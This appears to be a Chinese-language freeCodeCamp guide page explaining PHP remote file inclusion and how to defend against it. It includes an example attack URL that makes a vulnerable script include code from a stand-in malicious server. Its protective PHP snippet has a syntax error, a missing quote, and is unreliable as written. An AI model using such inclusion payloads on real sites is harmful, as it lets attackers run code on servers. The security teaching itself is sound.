freeCodeCamp/guide/chinese/php/security/remote-file-inclusion/index.md

1.1 KiB
Raw Blame History

title localeTitle
Remote File Inclusion 远程文件包含

远程文件包含

程序员需要用户提供的文件输入而不是在访问所请求的文件之前清理输入而导致的应用程序漏洞。这会导致从远程服务器中提取文件,并将其包含在不应该存在的位置。

示例远程文件包含攻击

网站允许您将PDF视为download.php?file=myfile.php ,因为缺乏正确的检查,恶意用户可以请求远程资源并包含在脚本中。 URL可以成为download.php?file=http://myevilserver.gtld/evilcode.php然后可以输出给用户或者在严重的情况下运行服务器上的实际PHP代码。

在PHP中保护您的网站免受远程文件包含攻击

以下PHP代码将提供针对远程文件包含攻击的强大保护

<?php 
 if(basename($_GET['file]) !== $_GET['file']) { 
  die('INVALID FILE REQUESTED'); 
 } 
  • 您可以在php.ini文件中禁用allow_url_fopen作为防止远程文件包含的附加保护。

更多信息: